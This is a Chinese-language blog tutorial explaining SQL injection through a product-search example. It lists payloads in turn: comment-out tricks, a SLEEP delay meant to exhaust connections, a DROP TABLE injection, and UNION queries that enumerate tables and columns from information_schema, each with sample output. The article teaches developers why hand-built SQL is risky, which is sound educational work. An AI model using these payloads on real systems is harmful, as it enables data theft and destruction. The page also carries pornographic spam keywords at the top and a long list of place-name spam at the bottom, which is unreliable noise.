久久精品人人爽,华人av在线,亚洲性视频网站,欧美专区一二三

sql注入基本原理是什么

142次閱讀
沒有評論

共計 2350 個字符,預計需要花費 6 分鐘才能閱讀完成。

自動寫代碼機器人,免費開通

這篇文章主要介紹了 sql 注入基本原理是什么,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓丸趣 TV 小編帶著大家一起了解一下。

SQL 注入基本原理

WEB 技術發展日新月異,但是徒手拼 SQL 的傳統手藝還是受相當多的開發者親睞。畢竟相比于再去學習一套復雜的 ORM 規則,手拼更說方便,直觀。通常自己拼 SQL 的人,應該是有聽說過 SQL 注入很危險,但是總是心想:我的 SQL 語句這么簡單,不可能被注入的。

花 5 分鐘看完這個完整的例子,從今往后應該再也不敢有以上僥幸心理了。

簡單場景

有一個 WEB 界面提供輸入商品名稱,展示對應價格,生產日期及生產地信息。例如輸入 Hammer 展示:

產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11

我們跳過了搭建 Web 搜索界面的過程,直接關注重點部分: SQL 注入。

如果要實現以上功能,那么我們大致可以猜到服務器使用的 SQL 語句如下:

SELECT ? FROM ? WHERE ? LIKE  %Hammer%

其中? 表示目前我們并不知道具體的表名和字段名,此 SQL 唯一可以被操縱的就是單引號里面的輸入內容 %Hammer%。假如我們直接在查找框里輸入一個單引號。即變成

select ? from ? where ? Like  % %

這樣拼接后造成 SQL 語法錯誤,得不到任何結果,我們需要使用 – 來把最后一個單引號注釋掉。

select ? from ? where ? Like  %  -- %

– 后的是注釋內容(你也可以用 #),這樣你可以得到所有的產品信息,目前為止,還是沒有嗅到危險的信號。

產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11Paring Knife10.98China2019.11.11Boning Knife19.98China2019.01.01

小試牛刀 and

緊緊抓住上一步中可以擴展的單引號部分。來一個簡單的延時語句試一試:

select ? from ? where ? Like  %Hammer%  and 1 = SLEEP(2); -- %

這時查詢會 2 秒后才返回結果,如果把時間延長,用腳本多點幾次查詢,一下就能把數據庫的連接池用完。

當然,還有破壞力更強的!

select ? from ? where ? Like  %Hammer%  drop table xxxx; -- %

可以直接把表 / 數據庫直接刪除掉,至于如何知道引數據庫中有哪一些表 (即如何確定上句 SQL 中的 xxxx) 呢?

為所欲為 union

我們需要知道此數據庫有哪一些表!這樣才能能拿到有用的信息。

使用 union 可以把不同表的內容拼在一起,小試一下:

select ?,?,?,? from ? where ? Like  %Hammer%  UNION (select 1,2,3,4 from dual); -- %

產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.111234

可以看到我們把假數據 1,2,3,4 成功地拼接到搜索結果中。

Mysql 系統自帶的信息都存在 information_schema 數據庫中。我們試著在里面找找有用的信息。

select ? from ? where ? Like  %Hammer%  UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %

產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11authorshawkeye34productshawkeye34userhawkeye34……..34

現在知道了這些數據庫名和表名,所有人都對它為所欲為了!(包括上面執行的 DROP)。

看著列表一猜就能知道我們目前查的是 products 表,接下來我們再把 products 具體的字段也挖出來。

select ? from ? where ? Like  %Hammer%  UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name =  products  -- %

產品價格生產地生產日期 Claw Hammer12.98American2019.11.07Club Hammer29.98Canada2019.11.11idhawkeye34namehawkeye34pricehawkeye34addresshawkeye34updated_athawkeye34

所以,通過上面 2 步,我們知道了表名和字段名,那么查詢 API 的完整 SQL 應該是(把上面的? 都補全啦):

select name,price,address,updated_at from products where name like  %Hammer%

通過不斷重復以上幾個步驟,你就可以通過這一個小小的入口把數據庫的所有信息(比如上面發現的 user 表

感謝你能夠認真閱讀完這篇文章,希望丸趣 TV 小編分享的“sql 注入基本原理是什么”這篇文章對大家有幫助,同時也希望大家多多支持丸趣 TV,關注丸趣 TV 行業資訊頻道,更多相關知識等著你來學習!

向 AI 問一下細節

正文完
 
丸趣
版權聲明:本站原創文章,由 丸趣 2023-12-16發表,共計2350字。
轉載說明:除特殊說明外本站除技術相關以外文章皆由網絡搜集發布,轉載請注明出處。
評論(沒有評論)
主站蜘蛛池模板: 龙州县| 鄂伦春自治旗| 宁津县| 崇明县| 翼城县| 中超| 肥西县| 金川县| 芮城县| 香河县| 安龙县| 定襄县| 稷山县| 灵石县| 峨山| 桦川县| 屏南县| 虎林市| 怀来县| 江川县| 寿阳县| 墨脱县| 茶陵县| 百色市| 克什克腾旗| 根河市| 东安县| 讷河市| 鄢陵县| 抚顺县| 连城县| 扶风县| 衡阳市| 龙里县| 高雄市| 扶风县| 永顺县| 卢龙县| 泰兴市| 临颍县| 延安市|